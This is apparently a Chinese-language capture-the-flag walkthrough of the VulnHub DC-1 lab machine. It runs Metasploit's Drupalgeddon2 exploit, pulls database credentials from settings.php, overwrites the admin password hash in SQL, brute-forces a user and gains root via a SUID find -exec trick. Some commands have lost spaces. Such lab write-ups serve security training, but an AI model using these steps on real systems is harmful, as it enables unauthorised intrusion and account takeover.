仅供个人娱乐
靶机信息
下载地址:https://download.vulnhub.com/dc/DC-1.zip
一、主机扫描
arp-scan -l
nmap -p 1-65535 -A -sV 192.168.216.135
![](https://upload-images.jianshu.io/upload_images/4664072-01bbc95be3531bb7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-1e71fdfc5c075f6f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
dirb http://192.168.216.135
![](https://upload-images.jianshu.io/upload_images/4664072-dda73d166f028442.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-b68156494af66f9d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用版本漏洞攻击
search drupal
![](https://upload-images.jianshu.io/upload_images/4664072-099893859d9e5821.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
msf5 > use 4
msf5exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.216.135
rhosts => 192.168.216.135
msf5exploit(unix/webapp/drupal_drupalgeddon2) > run
![](https://upload-images.jianshu.io/upload_images/4664072-cc97d070e6efe6ed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-197cfe202e1c218a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
得到shell
python -c 'import pty;pty.spawn("/bin/bash");'
![](https://upload-images.jianshu.io/upload_images/4664072-c764d104c1cbc4c8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-021e736a9f796a5f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-839d58c1d2592e43.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
www-data@DC-1:/var/www$ cd sites/default
cd sites/default
![](https://upload-images.jianshu.io/upload_images/4664072-d85906457e8521ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
www-data@DC-1:/var/www/sites/default$ catsettings.php
ps aux | grep mysql
![](https://upload-images.jianshu.io/upload_images/4664072-00ba6a3814fdd568.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进入数据库
![](https://upload-images.jianshu.io/upload_images/4664072-50d5fa21d3807d25.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
数据库信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-ae4672dc67bfb54a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-15e19d7a9e902398.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
密码都做了hash加密,解密不了
重置密码http://drupalchina.cn/node/1964
直接进入drupal的安装目录,然后运行命令
php ./scripts/password-hash.sh 12345
![](https://upload-images.jianshu.io/upload_images/4664072-fcb79a9f4f62ec73.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
登录mysql修改密码
UPDATE users SET pass = '$S$DZyKe31ZRwS4msLQYHacPaiIpOZIwHsblIeObnCuz4o3OeGDMblJ' where uid = 1;
![](https://upload-images.jianshu.io/upload_images/4664072-38912c47da1c3a31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
登录账户
信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-0b1bbd6ceb64cf12.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-0687282daad29518.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爆破flag4后获得密码orange
flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag-exec "whoami" ;
root
flag4@DC-1:~$ find / -type f -name getflag-exec "/bin/bash" ;
![](https://upload-images.jianshu.io/upload_images/4664072-f3eb9a7aded45ce8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)